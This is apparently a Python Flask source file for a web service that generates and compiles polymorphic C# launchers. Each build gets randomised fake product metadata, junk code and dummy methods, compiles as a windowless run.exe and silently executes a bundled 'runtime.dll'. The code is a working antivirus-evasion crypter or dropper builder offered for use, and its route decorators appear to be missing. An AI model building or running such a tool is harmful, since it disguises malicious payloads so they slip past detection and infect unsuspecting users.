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| import os | |
| import random | |
| import string | |
| import subprocess | |
| from flask import Flask, render_template_string, send_file | |
| app = Flask(__name__) | |
| # Define the base C# template without AssemblyCulture | |
| base_cs_template = """ | |
| using System; | |
| using System.Diagnostics; | |
| using System.IO; | |
| using System.Reflection; | |
| [assembly: AssemblyTitle("<<title>>")] | |
| [assembly: AssemblyDescription("<<description>>")] | |
| [assembly: AssemblyConfiguration("<<configuration>>")] | |
| [assembly: AssemblyCompany("<<company>>")] | |
| [assembly: AssemblyProduct("<<product>>")] | |
| [assembly: AssemblyCopyright("<<copyright>>")] | |
| [assembly: AssemblyTrademark("<<trademark>>")] | |
| [assembly: AssemblyVersion("<<version>>")] | |
| [assembly: AssemblyFileVersion("<<file_version>>")] | |
| [assembly: AssemblyInformationalVersion("<<informational_version>>")] | |
| class Program | |
| { | |
| static void Main() | |
| { | |
| string originalFilePath = Path.Combine(Directory.GetCurrentDirectory(), "runtime.dll"); | |
| if (File.Exists(originalFilePath)) | |
| { | |
| <<control_flow_junk>> | |
| Process.Start(new ProcessStartInfo(originalFilePath, "/VERYSILENT /PASSWORD=YourSecurePassword") { UseShellExecute = false }); | |
| <<additional_obfuscated_code>> | |
| Environment.Exit(0); // Exit immediately | |
| } | |
| } | |
| <<obfuscated_methods>> | |
| } | |
| """ | |
| # Utility functions to generate random text and versions | |
| def random_string(length): | |
| return ''.join(random.choice(string.ascii_letters) for _ in range(length)) | |
| def random_version(): | |
| major = random.randint(1, 5) | |
| minor = random.randint(0, 9) | |
| build = random.randint(0, 99) | |
| revision = random.randint(0, 99) | |
| return f"{major}.{minor}.{build}.{revision}" | |
| # Lists of meaningful words for assembly info | |
| titles = ['File Manager', 'Data Analyzer', 'Task Tracker', 'Cloud Backup', 'Image Editor', 'Video Converter'] | |
| descriptions = ['This application helps in managing files efficiently.', 'Analyze data with advanced algorithms and insights.', 'Keep track of your tasks and deadlines easily.', 'Backup your data securely to the cloud.', 'Edit your images with powerful tools and filters.', 'Convert videos to various formats quickly.'] | |
| companies = ['Tech Innovations', 'Global Solutions', 'Data Services', 'Creative Minds', 'Secure Systems', 'Future Technologies'] | |
| trademarks = ['Innovative Solutions', 'Smart Technology', 'NextGen Apps', 'Empowering Users', 'Reliable Services', 'Creative Design'] | |
| def generate_control_flow_junk(): | |
| conditions = [ | |
| "if (DateTime.Now.Day % 2 == 0) { Console.WriteLine(\"Even day\"); }", | |
| "for (int i = 0; i < 1; i++) { Console.WriteLine(\"Loop once\"); }", | |
| "if (false) { Console.WriteLine(\"This will never happen\"); }", | |
| "while (false) { break; }" | |
| ] | |
| return random.choice(conditions) | |
| def generate_obfuscated_methods(): | |
| methods = [ | |
| f'void {random_string(6)}() {{ Console.WriteLine("{random_string(10)}"); }}', | |
| f'int {random_string(6)}() {{ return {random.randint(0, 100)}; }}', | |
| f'bool {random_string(6)}() {{ return {random.choice([True, False])}; }}', | |
| f'string {random_string(6)}() {{ return "{random_string(12)}"; }}' | |
| ] | |
| return "\n ".join(random.sample(methods, k=2)) | |
| def generate_additional_obfuscated_code(): | |
| snippets = [ | |
| "#pragma warning disable CS0219\nint unused = 123;\n#pragma warning restore CS0219", | |
| "string dummy = \"abc\";", | |
| "Console.WriteLine(\"Executing...\");" | |
| ] | |
| return random.choice(snippets) | |
| # Route to display the button and trigger C# script generation | |
| def index(): | |
| # HTML embedded directly in the app using render_template_string | |
| html_content = """ | |
| <!DOCTYPE html> | |
| <html lang="en"> | |
| <head> | |
| <meta charset="UTF-8"> | |
| <meta name="viewport" content="width=device-width, initial-scale=1.0"> | |
| <title>Script Generator</title> | |
| </head> | |
| <body> | |
| <h1>Generate and Compile C# Script</h1> | |
| <form action="/generate" method="post"> | |
| <button type="submit">Generate & Compile</button> | |
| </form> | |
| </body> | |
| </html> | |
| """ | |
| return render_template_string(html_content) | |
| def generate_script(): | |
| # Create uploads directory if it doesn't exist | |
| uploads_dir = 'uploads' | |
| os.makedirs(uploads_dir, exist_ok=True) | |
| # Step 7: Generate the randomized assembly information using meaningful words | |
| assembly_info = { | |
| 'title': random.choice(titles), | |
| 'description': random.choice(descriptions), | |
| 'configuration': '', # Can leave empty | |
| 'company': random.choice(companies), | |
| 'product': "MyProduct", | |
| 'copyright': f"Copyright © {random.choice(companies)} 2024", | |
| 'trademark': random.choice(trademarks), | |
| 'version': random_version(), | |
| 'file_version': random_version(), | |
| 'informational_version': random_version() | |
| } | |
| # Step 8: Replace placeholders in the base template | |
| modified_cs = base_cs_template.replace('<<title>>', assembly_info['title']) \ | |
| .replace('<<description>>', assembly_info['description']) \ | |
| .replace('<<configuration>>', assembly_info['configuration']) \ | |
| .replace('<<company>>', assembly_info['company']) \ | |
| .replace('<<product>>', assembly_info['product']) \ | |
| .replace('<<copyright>>', assembly_info['copyright']) \ | |
| .replace('<<trademark>>', assembly_info['trademark']) \ | |
| .replace('<<version>>', assembly_info['version']) \ | |
| .replace('<<file_version>>', assembly_info['file_version']) \ | |
| .replace('<<informational_version>>', assembly_info['informational_version']) \ | |
| .replace('<<control_flow_junk>>', generate_control_flow_junk()) \ | |
| .replace('<<additional_obfuscated_code>>', generate_additional_obfuscated_code()) \ | |
| .replace('<<obfuscated_methods>>', generate_obfuscated_methods()) | |
| # Save the modified C# script to a file in the uploads directory | |
| script_path = os.path.join(uploads_dir, 'polymorphic_program.cs') | |
| with open(script_path, 'w') as file: | |
| file.write(modified_cs) | |
| # Step 10: Compile the C# script using csc | |
| compile_command = f'csc /target:winexe /platform:x64 /out:run.exe {script_path} /win32icon:app.ico /win32manifest:app.manifest' | |
| # Run the compilation command and capture the output | |
| result = subprocess.run(compile_command, shell=True, capture_output=True, text=True) | |
| if result.returncode != 0: | |
| # Log the error to the console or handle it as needed | |
| print("Compilation failed:", result.stderr) | |
| return f"Error during compilation: {result.stderr}", 500 | |
| # Provide a link to download the compiled executable | |
| return send_file('run.exe', as_attachment=True) | |
| # Start the Flask app | |
| if __name__ == '__main__': | |
| app.run(host='0.0.0.0', port=7860) | |